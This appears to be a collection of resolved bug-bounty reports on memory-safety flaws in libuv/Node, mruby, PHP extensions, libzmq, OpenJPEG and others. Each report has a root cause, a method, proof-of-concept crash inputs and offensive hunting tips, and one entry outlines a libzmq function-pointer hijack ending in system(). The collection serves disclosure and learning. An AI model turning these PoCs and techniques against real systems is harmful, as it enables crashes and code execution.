libuv IDNA toASCII out-of-bounds read via crafted hostname (Node getaddrinfo)
β Medium
Specimen #1209681 Β· nodejs Β· awarded Β· 5 votes Β· resolved
Program nodejsSurface apiTag file-upload
Root cause
uv__idna_toascii()/uv__utf8_decode1_slow() advances the input pointer p past the end pointer pe without a bounds check when decoding multibyte UTF-8 sequences, so a truncated/crafted hostname causes an OOB read; reachable via uv_getaddrinfo() and thus Node.js DNS resolution of untrusted hostnames.
Method
- Reach any code path that resolves an attacker-controlled hostname (SSRF-style URL fetch, webhook target, etc.) on a Node build using vulnerable libuv
- Supply a hostname with a truncated multibyte UTF-8 sequence at the buffer boundary
- uv__utf8_decode1_slow reads *(*p)++ past pe -> OOB read / crash
// conceptual: a hostname ending in a truncated 4-byte UTF-8 lead byte (a > 0xEF) with fewer than 3 continuation bytes before end-of-buffer
// reached via e.g. dns.lookup(attackerHostname) / any URL fetch that resolves it
Insight β Hostname/URL normalization (IDNA/punycode, UTF-8 decode) is attacker-reachable wherever an app resolves user-supplied hosts. When chasing SSRF or link-fetch features, also try malformed-Unicode hostnames to trigger parser OOB in the resolver stack.
Real-world example
mruby SIGSEGV via instance_exec + return-in-ensure (stack_copy)
β Medium
Specimen #212074 Β· shopify-scripts Β· awarded Β· 4 votes Β· resolved
Program shopify-scriptsSurface other
Root cause
A crafted mruby script using instance_exec with an empty block that returns, combined with a return inside an ensure clause, drives mrb_yield_with_class into stack_copy with a corrupted/zero size, dereferencing an invalid pointer and crashing the interpreter (fixed upstream in mruby commit 191ee25).
Method
- Feed the PoC script to the target mruby interpreter (here Shopify Scripts, which runs untrusted merchant mruby).
- Interpreter faults in stack_copy (vm.c:87) via mrb_yield_with_class -> mrb_obj_instance_exec.
- Confirm crash (SIGSEGV) and report as sandbox/interpreter memory-safety issue.
def a
instance_exec (){return}
a()ensure
end
a
Insight β When a target embeds a scripting VM (mruby, Lua, JS) to run untrusted user code, fuzz the language's control-flow edge cases (return/next/break inside ensure/blocks, instance_exec, fibers). Interpreter stack-management bugs surface as SIGSEGV and are memory-corruption candidates, not mere 'design' issues.
Real-world example
LibSass SharedPtr refcount use-after-free via crafted SCSS
β Medium
Specimen #221289 Β· libsass Β· none Β· 4 votes Β· resolved
Program libsassSurface other
Root cause
A crafted SCSS expression makes Sass::Eval on a Function_Call build a SharedImpl over an Expression whose backing SharedObj was already freed (decRefCount destroyed it), so incRefCount() reads 8 bytes of freed heap -> heap-use-after-free. A C++ intrusive smart-pointer lifetime bug in the evaluator.
Method
- Compile attacker-supplied SCSS through sassc/libsass (e.g. hosted CSS preprocessing)
- if()/list evaluation frees a temporary via SharedPtr::decRefCount
- A later SharedPtr copy calls incRefCount on the freed object -> UAF
@P#{()if(0,0<0,0)}
Insight β Wherever a service compiles user-supplied SCSS/LESS/templating, fuzz the evaluator with degenerate function-call/list/interpolation combos. Intrusive-refcount evaluators are UAF-prone when temporaries drop to zero refs mid-expression.
Real-world example
realpath buffer sized from pathconf fallback (256) < PATH_MAX (1024)
β Medium
Specimen #965914 Β· nodejs Β· awarded Β· 4 votes Β· resolved
Program nodejsSurface other
Root cause
libuv's realpath sizes its output buffer from pathconf(_PC_PATH_MAX) and falls back to _POSIX_PATH_MAX (256) if that fails; realpath(3) may write up to PATH_MAX (1024) bytes, overflowing the buffer when the resolved path exceeds 256 bytes.
Method
- Create a directory tree with a path longer than 256 bytes
- Symlink a short name to that long path
- Call fs.realpathSync.native on a non-existent child of the short link (forces pathconf to fail with ENOENT, taking the 256 fallback while the resolved path is >256)
LONG_PATH='/tmp/long/long/.../path/254B'
SHORT_LINK='/tmp/short'
mkdir -p "${LONG_PATH}"
ln -s "${LONG_PATH}" "${SHORT_LINK}"
node -e "fs.realpathSync.native('${SHORT_LINK}/file-not-exist')"
Insight β When a wrapper sizes a path buffer from pathconf with a small fallback, force pathconf to fail (ENOENT via a non-existent path) and then supply a resolved path longer than the fallback size to overflow. Audit realpath/PATH_MAX handling in native bindings.
Real-world example
Integer overflow in capacity check -> heap overflow (mruby)
β Medium
Specimen #204628 Β· shopify-scripts Β· awarded Β· 3 votes Β· resolved
Program shopify-scriptsSurface other
Root cause
A grow-buffer macro computes `blen + width >= bsiz` where width is an attacker-controlled format field up to INT_MAX; the addition overflows so the resize is skipped and the format write runs off the heap buffer (also reachable via array splice index overflow).
Method
- Find a size/capacity check that does additive arithmetic on attacker-controlled length (CHECK() macro, ary splice head/len)
- Supply a value near INT_MAX so the sum wraps and the bounds check passes
- The subsequent write overflows the undersized buffer -> heap corruption/segfault
s = "hello"
sprintf("abcdefghijklmnopqrstuvwxyz % 2147483640s", s) # width overflows CHECK() -> heap overflow
Insight β Audit capacity checks written as `used + need >= cap` (overflowable) vs the safe `need >= cap - used`. sprintf width/precision, array indices, and length prefixes are the usual attacker-controlled operands; ASan flags the OOB write.
Real-world example
Type confusion in scripting sandbox: overridden operator returns pointer treated as integer -> ASLR leak
β Medium
Specimen #207321 Β· shopify-scripts Β· awarded Β· 3 votes Β· resolved
Program shopify-scriptsSurface otherChain address leak (ASLR bypass) -> foundation for subsequent m
Root cause
mrb_value is a tagged union; native mruby methods (e.g. mrb_str_cmp_m) call a user-overridable method (<=>) and treat the returned mrb_value as a fixnum without checking its type tag. Returning an object makes the interpreter read the object pointer as an integer, leaking a heap/text address and defeating ASLR.
Method
- Identify native functions that consume a method's return value as a specific type without a type check (mrb_fixnum used without mrb_fixnum_p).
- Override the callee method to return a different type (an object/string) than expected.
- Invoke the native path (String#<=> against a non-string) so your overridden Integer#<=> runs and returns the original string object.
- Read the returned integer: it is the object's raw pointer, revealing memory layout.
class Integer
def <=>(arg1)
return arg1 # return the *object*, not a fixnum
end
end
s = "hello"
s.<=>(1) # => e.g. -69972254725992 (== 0x3fa3af631768, the String's address)
Insight β In any embedded interpreter/sandbox (mruby, Lua, JS engines), hunt native builtins that call back into script-overridable methods and then cast the result to a raw type. A missing type-tag check turns a benign comparison into an arbitrary object-address leak - the classic first primitive of an exploit chain.
Real-world example
mruby heap use-after-free found by grammar fuzzing
β Medium
Specimen #222294 Β· shopify-scripts Β· 800 Β· 3 votes Β· resolved
Program shopify-scriptsSurface other
Root cause
Grammar-fuzzed mruby scripts trigger heap-use-after-free in the VM/GC: a realloc of the register/value pool frees a region still referenced by mrb_vm_exec (or obj_free during GC teardown), so a later read/write hits freed memory.
Method
- Build mruby with AddressSanitizer
- Feed grammar-fuzzed ruby (deeply nested blocks/procs/each, splat calls)
- Observe ASAN heap-use-after-free in mrb_vm_exec / gc.c obj_free
g=0.times.p{}
a %w{0 0 0 0 ... 0 { 0 } 0 ... }.(&:e)
Insight β Embedded interpreters are fuzz targets: build with ASAN and feed grammar-fuzzed scripts. The recurring bug is the VM caching a raw pointer into a value/register pool that GC or realloc can move or free.
Real-world example
Integer overflow via huge array index in mrb_ary_set
β Medium
Specimen #192235 Β· shopify-scripts Β· 100 Β· 3 votes Β· resolved
Program shopify-scriptsSurface other
Root cause
Assigning to a very large array index overflows the size/capacity arithmetic in mrb_ary_set (especially with 32-bit MRB_INT), producing an undersized allocation and out-of-bounds write.
Method
- Create an empty array
- Assign to an index near INT_MAX
- Observe SIGSEGV / heap corruption from the overflowed size computation
ary = Array.new(0)
ary[0x7fffffff] = 1
Insight β In any interpreter/allocator, probe index and length arithmetic with boundary values (INT_MAX, INT_MAX/element_size) to trigger integer overflow that turns into a heap overflow.
Real-world example
mruby VM NULL-pointer dereferences (host DoS) via crafted scripts
β Medium
Specimen #217610 Β· shopify-scripts Β· 800 Β· 3 votes Β· resolved
Program shopify-scriptsSurface other
Root cause
Malformed mruby scripts drive the VM into NULL-pointer dereferences (kh_put_iv in variable.c, mrb_class in class.h, OP_ENTER splat handling in vm.c) because the interpreter dereferences object/class/array pointers without validating them, crashing the shared sandbox host.
Method
- Grammar-fuzz mruby for syntactically odd constructs (splat+block super, malformed class/def, rescue/ensure in odd positions)
- Run under gdb/valgrind
- Collect SIGSEGV NULL-deref crashes -> each is a host DoS
# OP_ENTER splat null deref (218233):
class A; def foo; end; end
class B < A; def foo(*args); super(*args, &:b); end; end
B.new.foo
# mrb_class null deref (215891):
if def class
A
ensure
e rescue 0
end
end
[].map.a
Insight β Grammar-fuzz interpreters for NULL derefs in argument marshalling (splat/block), class resolution, and instance-variable hashing; for a multi-tenant sandbox each crash is a denial-of-service of the shared host process.
Real-world example
Unbounded locale string -> stack overflow in PHP intl/ICU
β Medium
Specimen #170138 Β· ibb Β· awarded Β· 3 votes Β· resolved
Program ibbSurface other
Root cause
msgfmt_format_message forwards a user-controlled locale string to libicu without a length cap; ICU copies it into a fixed stack buffer, causing a stack-based buffer overflow. The fix limits the locale length.
Method
- Call an intl formatting function that accepts a locale identifier
- Pass an over-long locale string
- Observe stack corruption (SEH/stack overflow) inside libicu
<?php
msgfmt_format_message(str_repeat('A', 9000), '{0}', array('x'));
Insight β Any API that forwards a user-controlled locale/format/timezone string into ICU or another C library without a length cap is a stack-overflow candidate; fuzz with very long locale identifiers.
Real-world example
Integer overflow -> OOB R/W in OpenJPEG packet iterator
β Medium
Specimen #167512 Β· ibb Β· none Β· 3 votes Β· resolved
Program ibbSurface otherTag file-upload
Root cause
opj_pi_create_decode computes a flat index (layno*step_l + resno*step_r + compno*step_c + precno*step_p) that integer-overflows on crafted JP2/J2K parameters; opj_pi_next_* then reads and writes pi->include[index] out of bounds (CVE-2016-7163).
Method
- Craft a JP2/J2K file with large component/resolution/layer/precinct counts
- Build OpenJPEG with -fsanitize=address
- Run opj_decompress on the PoC and observe OOB read/write in opj_pi_next_cprl
./opj_decompress -o image.pgm -i poc.jp2 # crafted poc.jp2 (binary attachment)
Insight β In media codecs, per-dimension counts (components/resolutions/layers/precincts) multiplied to form a flat array index are prime integer-overflow -> OOB targets; fuzz the codec under ASAN and push each count field toward its max.
Real-world example
Unsigned underflow (size-8) in PHP phar signature parsing -> heap OOB
β Medium
Specimen #167895 Β· ibb Β· awarded Β· 3 votes Β· resolved
Program ibbSurface otherTag file-upload
Root cause
phar_parse_zipfile/phar_parse_tarfile read a signature of length entry.uncompressed_filesize without checking it is >= 8, then pass `sig + 8` and `size - 8` to phar_verify_signature; a size < 8 underflows the unsigned length to a huge value, causing a heap out-of-bounds read.
Method
- Craft a phar (zip or tar) whose signature blob is shorter than 8 bytes
- Load it with PharData / new PharData()
- Observe heap OOB read as size-8 underflows to near SIZE_MAX
<?php
$phar = new PharData('phars/signature.tar');
var_dump($phar);
Insight β Whenever code does `len - CONST` on an attacker-controlled unsigned length before a bounds check, force len < CONST to underflow into a near-SIZE_MAX length. Classic in archive, signature, and TLV parsers.
Real-world example
Off-by-one parser loop overflow -> function-pointer overwrite (PECL-http)
β Medium
Specimen #174069 Β· ibb Β· awarded Β· 3 votes Β· resolved
Program ibbSurface other
Root cause
A parser loop advances `ptr` past `end` inside the body (e.g. multibyte skip `ptr += mb-1`) while the loop guard is equality `while(++ptr != end)`, so the sentinel is jumped over and the loop keeps writing into a fixed `state->buffer`, overflowing it with attacker HTTP-message bytes.
Method
- Feed a malformed HTTP message to http\Message() so parse_hostinfo/parse_userinfo/parse_scheme run.
- Craft input so a multibyte/forward skip pushes ptr past end; loop guard != end is missed.
- Overflow writes into adjacent php_stream struct, overwriting its php_stream_ops pointer.
- On cleanup _php_stream_free calls stream->ops->close -> `callq *0x10(%rax)` with attacker rax.
<?php $m = new http\Message(file_get_contents("bug73185.bin"), false); ?>
// crash: rax=0x4142434445464748 at _php_stream_free -> call *0x10(%rax)
// fix: change `!= end` guards to `< end`
Insight β In any hand-written C parser, a loop guard of `ptr != end` is unsafe whenever the body can advance `ptr` by more than one; grep for pointer arithmetic inside loops guarded by `!=`/`==` and probe with over-long/multibyte-tail inputs. Overwriting a neighboring struct's function pointer turns a linear overflow into control-flow hijack.
Real-world example
libxml2 --recover mode NULL deref on malformed DTD
β Medium
Specimen #262665 Β· ibb Β· none Β· 3 votes Β· resolved
Program ibbSurface other
Root cause
In recover mode libxml2 continues past fatal parse errors on a malformed internal DTD subset, leaving element-content structures partially built; later xmlDumpElementContent dereferences a NULL child pointer (segfault); valgrind also shows uninitialized reads in xmlNextChar.
Method
- Parse a malformed DOCTYPE/ELEMENT declaration with xmllint --recover.
- Recovery keeps building a broken element-content tree.
- Dumping/serializing the doc dereferences a NULL content node -> SIGSEGV.
printf '<!DOCTYPE[<!ELEMENT l((|s)>' > t.xml
xmllint --recover t.xml
# also: <!DOCTYPE[<?l?><!ELEMENT ... invalid content model
Insight β 'Recover/lenient' parsing modes are a distinct bug class: by continuing past errors they reach states the strict parser rejects. Whenever a library has a recover/best-effort flag, fuzz specifically with it enabled - the maintainers often consider that mode out of the threat model.
Real-world example
Integer overflow of 32-bit length field -> heap overflow (PHP iptcembed)
β Medium
Specimen #112863 Β· ibb Β· awarded Β· 2 votes Β· resolved
Program ibbSurface otherTag file-upload
Root cause
ext/standard/iptc.c computes an allocation size in a 32-bit length variable from an attacker-influenced file size; a >4GB input wraps the 32-bit length so a small buffer is allocated but a large copy proceeds, giving arbitrary-length heap overwrite on 32-bit builds.
Method
- Write a file with a legitimate IPTC/JPEG header followed by ~4GB of padding so the size wraps the 32-bit length.
- Call iptcembed()/iptcparse() on it.
- M_APP0 handling then writes attacker length/values past the undersized heap allocation.
<?php
if(!file_exists("heapyolo")){
$fp=fopen("heapyolo","wb");
fwrite($fp,"\xff\xd8\xff\xe0\x00\x02\x00\xd9");
for($i=0;$i<4096;$i++) fwrite($fp,str_repeat("A",1024*1024));
fclose($fp);
}
iptcembed(str_repeat("A",1024*1024),"heapyolo");
Insight β When a length/size is stored in a narrower int than the data it measures, feed an input that crosses the 2^32 boundary; alloc(size) and copy(len) then disagree. Classic on 32-bit; 64-bit here was safe only because you can't ftruncate a 2^64 file.
Real-world example
Length-check pointer overflow overwriting adjacent function pointer (libzmq CVE-2019-13132)
β Medium
Specimen #652911 Β· monero Β· none Β· 2 votes Β· resolved
Program moneroSurface networkChain integer/pointer overflow -> heap out-of-bounds write ->
Root cause
A peer-supplied 64-bit message size is bounds-checked with pointer arithmetic (read_pos + msg_size > buffer_end); a very large msg_size overflows the pointer so the check passes, letting the attacker copy arbitrarily far past the receive buffer. The overflow lands in the immediately-following heap struct (content_t) rather than heap metadata, so no allocator canaries/ASan trip.
Method
- Speak ZMTP: send greeting selecting ZMTP_2_0, then a v2 frame with 8-byte size 0xFFFFFFFFFFFFFFFF so eight_byte_size_ready accepts an attacker-chosen msg_size.
- Send exactly enough bytes (e.g. 8183) to write up to the start of the trailing content_t struct.
- Overwrite content_t members: set data (arg1), ffn (function pointer called on message free), hint (arg2).
- On connection close libzmq calls ffn(data, hint): point ffn=strcpy to write command bytes one char at a time into .data, then a final request with ffn=system, data=.data string to run system('cmd').
greeting = FF 00*8 01 01 00 # versioned, ZMTP_2_0
v2msg = 02 FF FF FF FF FF FF FF FF # eight_byte_size_ready, msg_size=2^64-1
pad = 8183 bytes of 0x00 # write up to content_t
content_t overwrite (little-endian 64-bit each):
data = &arg1 ; size = 0 ; ffn = &strcpy ; hint = &arg2
# repeat to build command string in .data, then ffn=&system, data=&cmd
Insight β When a length/bounds check is written as base_pointer + attacker_length > end, a huge length overflows the pointer and defeats the check. Prefer to compare length against remaining_capacity (subtraction), not to add attacker-controlled length to a pointer. Also: a receive buffer allocated as one block with a trailing struct means an overflow can hijack a struct-embedded function pointer without touching allocator metadata.
Real-world example
Fuzzing an embedded interpreter sandbox (mruby) -> memory-safety crashes
β Medium
Specimen #209449 Β· shopify-scripts Β· awarded Β· 2 votes Β· resolved
Program shopify-scriptsSurface otherChain malformed script -> mruby memory corruption -> sandboxTag file-upload
Root cause
Shopify runs untrusted merchant scripts inside an mruby (mruby-engine) sandbox; malformed or pathological Ruby source drives the VM/GC/parser into out-of-bounds writes, NULL-pointer dereferences and assertion failures -> at minimum sandbox DoS, at worst memory-corruption / potential escape.
Method
- Submit syntactically valid-but-degenerate Ruby to the sandbox eval (deep nesting, odd array assignments, Fiber+GC interactions, malformed rescue/module blocks)
- Observe ASan/gdb crash: heap-buffer-overflow, NULL deref (mrb_class/mark_context_stack/mrb_vm_exec), OOB read, or GC assertion
# heap-buffer-overflow (WRITE size 4) in mrb_vm_exec (vm.c:1164):
[][]=%
[0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0]-=0
# GC assertion crash:
f = Fiber.new { m = Fiber.current; Fiber.yield Proc.new {} }
f = f.resume
GC.start
Insight β Any product that evals user-supplied code in a language-VM sandbox (mruby, Lua, V8 isolates, WASM) inherits that VM's memory-safety bugs. Fuzz the VM directly (ASan build) with grammar-aware mutation; crashes are guaranteed value and can escalate from DoS to sandbox escape.
Real-world example
Integer overflow in allocation size -> undersized buffer -> heap OOB write
β Medium
Specimen #110722 Β· Internet Bug Bounty Β· USD 500 Β· 2 votes Β· resolved
Program Internet Bug BountySurface otherTag file-upload
Root cause
A size computed by multiplying/adding an attacker-influenced length (e.g. 4*len+2) overflows the 32-bit int used for the allocation, so the buffer is far smaller than the subsequent write loop assumes, giving a heap out-of-bounds write of controlled bytes.
Method
- Find a native function that allocates based on arithmetic on an input length (mul-by-constant, add of two lengths, worst-case expansion).
- Supply a very large input (needs high/removed memory_limit, e.g. ~1GB) so 4*l+2 or len+scale wraps to a tiny/negative value.
- Allocation succeeds tiny; the copy/format loop still writes l bytes past the buffer.
<?php ini_set('memory_limit',-1);
$s = str_repeat('A', 0x40000000); // 1GB
escapeshellarg($s); // zend_string_alloc(4*l+2) overflows -> len becomes 2
// loop then writes 0x41... past the 2-byte allocation
Insight β Any C size math on a user-controlled length is a candidate: look for `* N`, `+ len`, `+ scale`, worst-case `4*l+2` expansions and negative memset/malloc sizes. Trigger with lengths near 0x7fffffff / requiring raised memory_limit. Confirm by breaking on the alloc and printing the wrapped length vs the write count.
Real-world example
Python strop.replace mymemreplace integer overflow -> heap OOB write
β Medium
Specimen #129771 Β· Internet Bug Bounty Β· USD 500 Β· 2 votes Β· resolved
Program Internet Bug BountySurface otherTag file-upload
Root cause
new_len = len + nfound*(sub_len - pat_len) is computed with unchecked Py_ssize_t arithmetic; a large expanding substitution overflows it, malloc gets the small wrapped size, but the copy loop still writes the full (larger) len -> heap overflow.
Method
- Call a replace/expand routine where output size = input + count*(sub-pat).
- Pick a short pattern and a long substitution repeated many times so the product overflows.
- malloc(new_len) allocates small; memcpy walks past it (access violation on the page boundary).
import strop
strop.replace("\x75"*0xEAAA, "\x75", "AA"*0xAAAA) # new_len overflows -> OOB memcpy write
Insight β For any string-expansion primitive, remediation/detection is the same check: verify (new_len - len)/nfound == (sub_len - pat_len); if not, an overflow occurred. Look for expand-and-copy functions (replace, join, format) that size the output before copying.
Real-world example
Off-by-one stack overflow: fixed buffer sized for digits but not sign
β Medium
Specimen #248601 Β· Internet Bug Bounty Β· USD 500 Β· 2 votes Β· resolved
Program Internet Bug BountySurface otherTag file-upload
Root cause
zend_ini_do_op declares char str_result[MAX_LENGTH_OF_LONG] but a negative result ('-2147483648'/'-9223372036854775808') is one char longer than the digit count, so zend_sprintf writes 1 byte past the stack buffer.
Method
- Reach the INI parser (crafted .ini file, parse_ini_string, or INI_SCANNER on user data).
- Use a bitwise expression whose result is the negative minimum long so the formatted string is MAX_LENGTH_OF_LONG+1 chars.
- sprintf overflows str_result by one byte -> __fortify_fail / DoS, or one-byte clobber of adjacent local / saved frame pointer.
; input.ini
0=0&~2000000000
; then: parse_ini_file('input.ini', true, INI_SCANNER_NORMAL);
; str_result[MAX_LENGTH_OF_LONG] must be [MAX_LENGTH_OF_LONG+1]
Insight β When a fixed char buffer is sized by a MAX_LENGTH_OF_<type> macro, check whether that macro accounts for the sign and the NUL. Minimum negative integers are the classic off-by-one trigger for number-to-string buffers.
Real-world example
Unvalidated integer index into color/table array -> OOB read & info leak
β Medium
Specimen #110720 Β· Internet Bug Bounty Β· USD 500 Β· 2 votes Β· resolved
Program Internet Bug BountySurface otherTag file-upload
Root cause
imagerotate takes $bgd_color as a raw index into 256-entry palette arrays (red[256]/green/blue/alpha) with no bounds check; a large value reads far beyond the arrays and the leaked bytes surface in the rotated image's background pixels.
Method
- Find a param that is an index into a fixed table (palette color, offset, glyph id).
- Pass a large in-range-looking integer (e.g. 0x7ffffff9) so the read lands outside the array.
- Recover the leaked memory from the output (image pixels here) to build an arbitrary/contiguous read primitive.
php -r "imagerotate(imagecreate(1,1),45,0x7ffffff9);"
// bgcolor used directly: gdTrueColorAlpha(src->red[bgcolor], src->green[bgcolor], ...)
Insight β Any API that accepts a color/index/offset integer and dereferences a fixed array with it is an OOB-read candidate. If the read result is reflected back (rendered pixel, echoed value), it becomes a memory-disclosure primitive, not just a crash.
Real-world example
Signed/negative index into palette -> arbitrary NULL write
β Medium
Specimen #161193 Β· Internet Bug Bounty Β· USD 1000 Β· 2 votes Β· resolved
Program Internet Bug BountySurface otherTag file-upload
Root cause
imagegammacorrect with opposite-sign gamma values assigns palette colors >0xFF; gdTrueColorAlpha then computes a negative transparent-color value that is later used as an array index, allowing an out-of-bounds (attacker-influenced) NULL write.
Method
- Call imagegammacorrect with two gamma values of opposite sign.
- Palette entries exceed 0xFF; gdTrueColorAlpha derives a negative index.
- That negative index is used to write a NULL byte outside the buffer (arbitrary relative write).
// imagegammacorrect($img, $gammaIn, $gammaOut) with sign(gammaIn) != sign(gammaOut)
// palette color > 0xFF -> gdTrueColorAlpha() negative -> OOB index write (similar to PHP bug #72512)
Insight β Watch for arithmetic that can drive an index negative (sign mismatch, subtraction, macros combining channels). A negative index used for a WRITE is far more severe than the read-only palette-index bugs; same root API (GD color handling), different impact.
Real-world example
Deserializing untrusted WDDX/XML into attacker-controlled pointer
β Medium
Specimen #161200 Β· Internet Bug Bounty Β· USD 500 Β· 2 votes Β· resolved
Program Internet Bug BountySurface otherTag file-upload
Root cause
wddx_deserialize parses attacker-supplied XML; an invalid dateTime containing an embedded \r is mis-parsed so the supplied value is stored as the address of the created zval, giving a fully attacker-controlled pointer that is later dereferenced (var_dump reads *(0x41414131)).
Method
- Feed a crafted WDDX packet to wddx_deserialize (network-exposed in many apps).
- Embed a malformed dateTime (e.g. value with a leading digit + \r) so the parser writes the raw value into a pointer field.
- On use (var_dump / return), the engine dereferences the attacker-chosen address -> controlled read/crash.
<wddxPacket version='1.0'><header/><data><struct>
<var name='aDateTime3'><dateTime>2\r2004-09-10T05:52:49+00</dateTime></var>
</struct></data></wddxPacket>
// timestamp bytes 0x41414131 land in a zval pointer (RBX/RSI = 0x41414131)
Insight β Native deserializers of text formats (WDDX, dateTime, YAML, etc.) that are reachable from network input are prime memory-corruption surfaces: fuzz malformed type values (dates, booleans, nested structs) and watch for controlled registers/pointers. Same component yielded null-derefs, UAF and type confusion.
Real-world example
Heap OOB read in date parser (timelib_meridian) -> remote memory disclosure
β Medium
Specimen #248659 Β· Internet Bug Bounty Β· USD 500 Β· 2 votes Β· resolved
Program Internet Bug BountySurface otherTag file-upload
Root cause
Deserializing an invalid dateTime through wddx_deserialize reaches timelib_meridian, which reads one byte past a 10-byte heap region; because wddx results are network-reachable and often echoed back, this leaks process memory (CVE-2017-11145).
Method
- Reach the date/time parser via any API that calls timelib_strtotime (wddx_deserialize, strtotime, DateTime).
- Supply a malformed meridian value (e.g. 'I06.00am 0') that makes timelib_meridian read past the buffer end.
- If output is reflected to the client, recover the over-read bytes.
<wddxPacket version='1.0'><header/><data><struct>
<var name='aDateTime'><dateTime>I06.00am 0</dateTime></var>
</struct></data></wddxPacket>
// AddressSanitizer: heap-buffer-overflow READ of size 1 in timelib_meridian
Insight β Shared low-level parsers (date/time, number, charset) are reachable from many high-level APIs; one over-read fix protects strtotime, DateTime and wddx at once. Fuzz meridian/am-pm and relative directives ('back of'/'front of') for off-by-one reads.
Real-world example
Negative length from parse result -> wild memcpy heap overflow
β Medium
Specimen #248609 Β· Internet Bug Bounty Β· USD 500 Β· 2 votes Β· resolved
Program Internet Bug BountySurface otherTag file-upload
Root cause
openssl_seal passes a crafted PEM to EVP_SealInit; on parse failure the encrypted-key length eskl[0] comes back as -1, and the subsequent memcpy uses that as a (huge unsigned) size -> heap overflow / wild copy.
Method
- Supply a malformed/attacker-controlled certificate to a crypto sealing/encryption API.
- Parsing yields an invalid key length (-1) that is not checked.
- memcpy(dst, src, (size_t)-1) runs a wild copy corrupting the heap.
<?php $pk = openssl_get_publickey(file_get_contents('repro.pem'));
openssl_seal($in, $sealed, $ekeys, array($pk,$pk), 'AES-128-ECB');
// eskl[0] == -1 after EVP_SealInit -> memcpy with negative length
Insight β After any parse/crypto init, check that returned lengths are validated before use as memcpy/malloc sizes; -1 error returns silently become SIZE_MAX. Crafted certificates/keys are a reliable way to force those error paths.
Real-world example
Broken invariant (offset start<=end) in PCRE β runaway memcpy heap overflow
β Medium
Specimen #141839 Β· ibb Β· awarded Β· 2 votes Β· resolved
Program ibbSurface otherTag file-upload
Root cause
pcre_exec() returns start/end offset pairs; callers assume start<=end. A regex using \K (or lookaround resets) can make start>end, so end-start underflows to a huge size_t passed to memcpy.
Method
- Craft a regex that resets the match start after advancing (e.g. lookahead + \K)
- Run it through preg_match/preg_replace/preg_split on any subject
- get_substring_list computes len = end-start which underflows to ~-3 (0xffff...fd) β memcpy SIGSEGV
<?php
$regex = '/(?=xyz\K)/';
$subject = "aaaaxyzaaaa";
preg_match($regex, $subject, $m);
preg_replace($regex, '\0', $subject);
preg_split($regex, $subject);
// crash: memcpy(__len=18446744073709551613, ...)
Insight β When a library returns paired offsets/indices, look for callers that subtract them without asserting ordering. Regex features that move the match start (\K, lookbehind resets) are a reliable way to violate the start<=end invariant.
Real-world example
Negative signed length β unbounded write in a 'bounded' read call
β Medium
Specimen #159690 Β· ibb Β· awarded Β· 2 votes Β· resolved
Program ibbSurface otherTag file-upload
Root cause
Python's curses getstr/instr pass a user int n as the max length to wgetnstr(buf, n). A negative n is not rejected; the underlying ncurses call treats it as unlimited, so input overflows the fixed 1024-byte stack buffer.
Method
- Call an API that forwards a caller-supplied length to a size-bounded C function (wgetnstr/read/snprintf) as a signed int
- Pass a negative value (-1) so the 'safety' bound becomes effectively unlimited or wraps to a huge unsigned size
- Feed more bytes than the destination buffer β stack smash
import curses
curses.initscr()
w = curses.newwin(80, 80)
w.getstr(-1) # PyCursesWindow_GetStr: wgetnstr(rtn, Py_MIN(-1,1023))
# then: python3 -c 'print("A"*1100)' | python3 poc.py -> *** stack smashing detected ***
# variant: w.instr(-1) hits PyCursesWindow_InStr
Insight β Any 'safe' bounded-read/copy where the bound comes from a signed integer is suspect: test negative bounds. The fix pattern (make n unsigned or reject <0) tells you exactly what to fuzz β length parameters that are ints, not size_t.
Real-world example
NULL deref from unchecked config-derived pointer (empty encoding)
β Medium
Specimen #152232 Β· ibb Β· awarded Β· 2 votes Β· resolved
Program ibbSurface otherTag file-upload
Root cause
exif_process_user_comment resolves an encoding by name from an INI default that is empty; zend_multibyte_fetch_encoding returns NULL, which is passed unchecked into mbfl_buffer_converter_new2 and dereferenced.
Method
- Identify a code path that looks up a resource (encoding/handler) by a configurable name and uses it without a NULL check
- Ensure the config value is empty/default so the lookup returns NULL
- Trigger the parser (upload a JPEG with a JIS EXIF UserComment) β crash on convd->to->no_encoding
<?php
// crafted JPEG whose EXIF UserComment starts with "JIS\0\0\0\0\0"
$exif = exif_read_data('null.jpg');
var_dump($exif);
// encode_jis default is "" -> fetch_encoding()==NULL -> deref in mbfl_convert_filter_get_vtbl
Insight β Parsers that branch on embedded charset markers (JIS/Unicode headers) and then call config-driven converters are good NULL-deref hunting grounds: the crash needs only a default/empty setting plus the right marker bytes, no memory grooming.
Real-world example
Unchecked object-instantiation failure β NULL deref in deserializer
β Medium
Specimen #195688 Β· ibb Β· awarded Β· 2 votes Β· resolved
Program ibbSurface otherTag file-upload
Root cause
WDDX deserialization calls object_init_ex(&obj, pce) but ignores its return; instantiating an interface/abstract class fails and leaves obj a NULL object, which is then used by zend_hash_merge(Z_OBJPROP(obj), ...).
Method
- Find a deserializer that instantiates an attacker-named class then populates its properties
- Name a class that cannot be instantiated (interface, trait, abstract) so object_init_ex returns FAILURE
- The unchecked NULL object is dereferenced when properties are merged β crash
<?php
$xml = '<?xml version="1.0" ?>
<wddxPacket version="1.0"><struct><var name="php_class_name"><string>Throwable</string></var></struct></wddxPacket>';
$wddx = wddx_deserialize($xml);
var_dump($wddx);
Insight β Any deserializer that takes a class name from input is a target: try uninstantiable types (interfaces/abstract/traits). If instantiation return values are unchecked you get a NULL object used downstream; if constructors run you may reach richer object-injection bugs.
Real-world example
Out-of-bounds read in image-codec color-conversion (subsampled chroma)
β Medium
Specimen #167947 Β· ibb Β· none Β· 2 votes Β· resolved
Program ibbSurface otherTag file-upload
Root cause
OpenJPEG's YCbCrβRGB converters (sycc422_to_rgb, color_esycc_to_rgb) index chroma planes using luma dimensions; when component subsampling/dimensions are inconsistent the loop reads (and on some paths writes) past the calloc'd plane.
Method
- Build the codec with clang -fsanitize=address (-O0 -g)
- Feed a crafted .j2k/.jp2 whose component dimensions/subsampling factors are inconsistent
- opj_decompress β heap-buffer-overflow read in color.c color-conversion; free-time corruption without ASan
export CC='clang -g -O0 -fsanitize=address'
cmake . && make
./opj_decompress -o image.pgm -i poc.j2k # ASAN: READ of size 4 in sycc422_to_rgb color.c:148
# .jp2 variant crashes color_esycc_to_rgb color.c:760 (and heap corruption at free without ASAN)
